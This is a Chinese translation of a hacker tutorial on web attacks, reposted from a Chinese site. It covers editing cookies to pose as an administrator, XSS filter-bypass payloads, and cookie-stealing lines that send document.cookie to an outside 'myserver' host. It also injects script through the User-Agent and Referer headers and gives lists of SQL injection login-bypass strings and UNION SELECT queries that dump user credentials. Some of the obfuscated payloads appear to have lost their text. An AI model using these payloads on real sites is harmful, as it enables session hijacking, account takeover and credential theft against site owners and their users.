XSS SQL注入

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
X Web Security - XSS & more X 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
作者: CyberPhreak
翻译: 黯魂 [S.S.T]

~先容

在这篇文章中我将说明所有关于XSS以及更多相关的常识.通过这篇文档,我但愿能让你大白什么是XSS,为什么利用XSS,以及奈何利用XSS.一旦你学会了,你将需要发挥本身的缔造力,因为大大都人都修补了简朴的XSS裂痕.可是他们所健忘做的是修补比XSS的一个字符串更多的裂痕,而且php中非凡安详机制被用来防止XSS,而代替他们本身的要领.同时我将叙述的不只仅是XSS,而是所有的web安详.

XXXXXXXXXXXXXXXXXXXXX 
X Table OF Contents X 
XXXXXXXXXXXXXXXXXXXXX 

XXXXXXXXXXXXXXXXXXXX 
X Cookie Editing X 
X XSS X 
X SQL Injection X 
XXXXXXXXXXXXXXXXXXXX

~什么是cookie

cookie就是一块数据.一旦你欣赏一个站点而且注册一个帐号,一个cookie就被配置以记录你的信息.cookie仅仅生存你登录的信息以使站点检测以前你是否登录过,假如不是,它就会检测你的用户名和暗码的正确性,然后登录.好比说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进收支出而不消每次都买票.而cookies比你所能看到的要巨大得多.夜总会只能记着你一晚上,可是cookies却能记着你一辈子.

~告诫&欺骗

那么此刻你知道了cookie是什么...你如何对待它们?事实上,cookie编辑(修改)是最简朴的要领之一.只要有一个欣赏器,你就可以或许查察和编辑cookies,而且只需要一些基本的javascript常识.打开你的欣赏器然后随便去一个网站吧,登录...此刻输入javascript:alert(document.cookie).这时你应该可以瞥见一个用户名和暗码.然而大大都站点此刻都不利用cookies,而利用sessions.很遗憾,sessions不能被修改(处事端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你本身.此刻让我们开始欺骗...假设你看到了一个告诫框而且看到一些像这样的内容:

strusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个打点员,但是你不知道暗码. 由于懦弱的安详机制你不需要暗码:javascript:void(document.cookie="strusername=bitch")
此刻输入:javascript:alert(document.cookie).那险些很是靠近cookie修改了...

~什么是XSS

XSS,可能CSS,不管你更喜欢奈何称号它,XSS(CSS)都代表着跨站剧本.根基上意思就是你能以任何方法注入剧本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,暗码以及cookies.这都将被接头,所以接下来将会有许多例子,我们这篇文章应该可以或许帮你在XSS上发挥本身的缔造力.

~为什么利用XSS

很明明的问题,通过XSS你能在客户端和处事器端执行任何范例的剧本.然而XSS却不只仅范围于执行剧本上,还能截获输入.输入雷同:<input name="name" type="name">
你通过XSS截获输入,然后通过一个奥秘文件把截获到的信息发送向你的站点.而这一切毫不是XSS所能实现的全部浸染.XSS还能截获cookies.Cookies生存着有代价的信息,像用户名,暗码等等.

~让我们开始吧…

我假定你知道html和javascript,而php常识也有辅佐,但却不是须要的.让我们从这个php剧本开始.

XSS--跨站剧本
<html> 
<body> 
<form action="" method="GET"> 
<!-- 我利用的GET要领,因为当我们操作的时候更容易操练. --> 
Script: <input name="name" type="name"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html> 

<?php 
$name = $_GET['name']; 
echo("Hello $name"); 
?>



OK,我们应该都知道上面的代码有什么用...这是一个很是奇怪的剧本,没有一小我私家会在本身的站点上利用它(至少我没见过),可是它对初学者领略道理却真的很有用.来看看我输入后所获得的信息:

cnsst
"Hello cnsst!"

引号内的信息就是输出信息..留意看,此刻我输入:
<script>alert(document.cookie)</script> 

那么它将会弹出document.cookie!所以它是易受XSS进攻的!

此刻我们已经对XSS有了一点相识,那让我们领略它.首先,剧本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和处事器端别离有什么语言? 让我汇报你,根基上客户端语言是成立在你客户端欣赏器之上的:JavaScript,html, VBScript等等...

处事器端语言在另一边,不是成立在你客户端之上的,而成立在处事器之上,有php,asp等等...

已有一些要领注入php,稍后我将说明.此刻先想想这奈何才气对我们有辅佐?注入javascript?简朴.好比说你正在编写一个网站措施,由于是你的站点,所以你能利用所有你想利用的javascript(JS).因此其他任何人也可以,因为XSS答允你让网站运行你想要运行的任何剧本.

让我们看一个稍微巨大点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,而且回显是这样的:
scriptalert(document.cookie)/script
可能大概是这样的:
scriptalertdocument.cookie/script

可以看出更难操作了...不外有许多要领利用XSS,这只是个中一种.并且是个中最烂的要领之一.你看到傍边的"<>"都被空字符" "替换了.

让我们继承操作:
<<script>>alert(document.cookie)<</script>> 

你的输出将弹出document.cookie.

此刻来看看更狠的:
<<script>>alert((document.cookie))<<//script>>


他们大概会替换所有的,可能只是"<>".所以假如一对不能得以执行,另一对就可以.此刻,假如你看到:
scriptalertdocument.cookie/script 
可能 <<<script>>>alert(document.cookie)<<</script>>>  

他们大概替换2对来欺骗你,可能替换一些字母.试着用你本身的要领来操作...你输入:
<script>alert(document.cookie)</script>

输出像这样:srplert(document.cookie)srp

仔细调查,你就会发明document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是揣摩,就只阻止了"<>"以及script部门.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

所有反复多余的部门恰好被替换!此刻让我们来点更高级的!

这次他们利用的仍然是替换,可是却查抄了整个字符串!譬喻:
<script>alert(document.cookie)</script> 

输出将是:
scriptalert(document.cookie)script

看到这,你感动地说,"我知道该怎么做了!" OK,让我们凭据你的要领来从头结构:
<<script>>alert(document.cookie)<</script>> 

输出:scriptalert(document.cookie)script. 这时你大概会继承增加更多的<>.但是,他们替换了任何"<>",无论你输入几多个...看到我说"任何"了吗?利用下面这个例子:


script 

alert 

document 

cookie 



script 
>


看看它,它没有替换"<>",它替换代码要害字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.如果对方利用更严格的尺度,替换任何范例的代码,甚至是"alert"! 我们又该怎么改造呢?看看这个:
<






































>

这下应该可以了,可是假如他们仍然替换"<",你可以增加2对"<< >>"(而且你可以用任何字符代替document.cookie)

尚有更多我可以演示的替换,可是我教你的只是想让你发挥本身的缔造力.

此刻让我来讲讲其他XSS要领.前面我们已经接头了客户端XSS,那么此刻就来看看处事器端XSS.

首先让我说明它们之间的区别.客户端是从你欣赏器经表明语言,如JavaScript (JS) VBScript (VBS)等而看到的.处事器端XSS是通过来自处事器端的语言,如php,asp等的XSS.客户端通过欣赏器查察,处事器端通过处事器查察.

我们已经学会了奈何结构客户端XSS,而结构处事器端我们必需注入剧本随处事器上.要完成这个,我们需要找到一个像任何XSS的剧本,可是这个剧本可以或许生存你的XSS随处事器中.此刻,假设你在一个网站上颁发了一篇文章,此刻要做的是代替文章,用XSS,为什么我们应该用JavaScript?为什么不消php?可是先让我给你看点对象.
document.forms(0).action ="http://myserver/myscript.php
这既能在处事器端也能在客户端,没有干系.因此你的剧本将复制他们所输入的信息到谁人表单中,并生存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,而且可以自界说资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
可能假如你有空间可以存放指向自界说内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie 
这将截获会见我们资料的用户的cookie.这可以用于任那里所而不只仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...此刻让我们在DOS提示符下可能呼吁行窗口中试一试一些XSS,
telnet example.com 
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1 
User-Agent: <script>alert(document.cookie)</script> 
Referer: <script>alert(document.cookie)</script>


~什么是SQL注入

SQL注入,网站中最大的安详问题之一.那么到底什么是SQL注入?其实也就是注入SQL.此刻让我们来挖掘差异级此外SQL裂痕.假设你有一个像这样的登录页面:

<html> 
<body> 
<form action="" method="POST"> 
Username: <input name="name" type="name"> 
Password: <input name="password" type="password"> 
<input type="submit" type="submit" value="Submit"> 
</form> 
</body> 
</html>

这内里有一个XSS裂痕,可是不消担忧它,没有步伐猜出可能破解出暗码.所以,我们该怎么办?SQL注入!

最简朴的进攻是在用户名和暗码哪里输入"'".假如没有掩护机制,此时你应该获得一个错误信息.假如你获得了,它就是极易受进攻的.但是错误信息毫无代价,除非你知道如何操作它.所以,我会给你一个你可以利用的注入列表,以便在你获得一个单引号的错误信息时利用.

'=' 
'OR 1=1-- 
'OR a=a-- 
'OR'

自从人们加强安详性今后,此刻这些注入就很难发挥浸染了,可是下面这个列表却是许多人在安详列内外没有留意到的:

'OR''=' 
'OR"=" 
'OR'=" 
'OR '=" 
'OR "=' 
'OR ''=' 
'OR '='' 
'OR "='' 
'OR ''="


~
此刻让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,可是….假如毫无浸染呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "=' 
AND password='OR "='

你大概利用其他字符来替代'OR "='以注入存在的注入点.但是首先思量一下,你是怎么知道表名的?实际上,你发明白一个SQL裂痕,它给了你错误信息,而错误信息包括了表名.

一旦你发明白裂痕,你就会凭据习惯去用雷同'OR "='的要领去举办注入,以获得表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个内外.下面的例子中存在20个差异表名的表,你试图查询一个ip的列表:
UNION ALL SELECT 
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs 
WHERE ip='OR''="

此刻你看到这个了吗?(我确信你已经看到了)
?article=34 
那将欣赏Id为34的文章...让我们用"'"替换34:
?article=' 


此刻,记着我所说的,大大都人都没有意识到'所带来的不安详性,你老是可以或许实验差异的注入要领,这里是一些例子:
?article=' 
?article='=' 
?article='OR 1=1-- 
?article='OR a=a-- 
?article='OR '=" 
?article='OR "=' 
?article='OR ''=' 
?article='OR '='' 
?article='OR''=' 
?article='OR"'=' 
?article='OR"''=' 

恣意发挥本身的缔造力! 

您大概感乐趣的文章:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/9067.html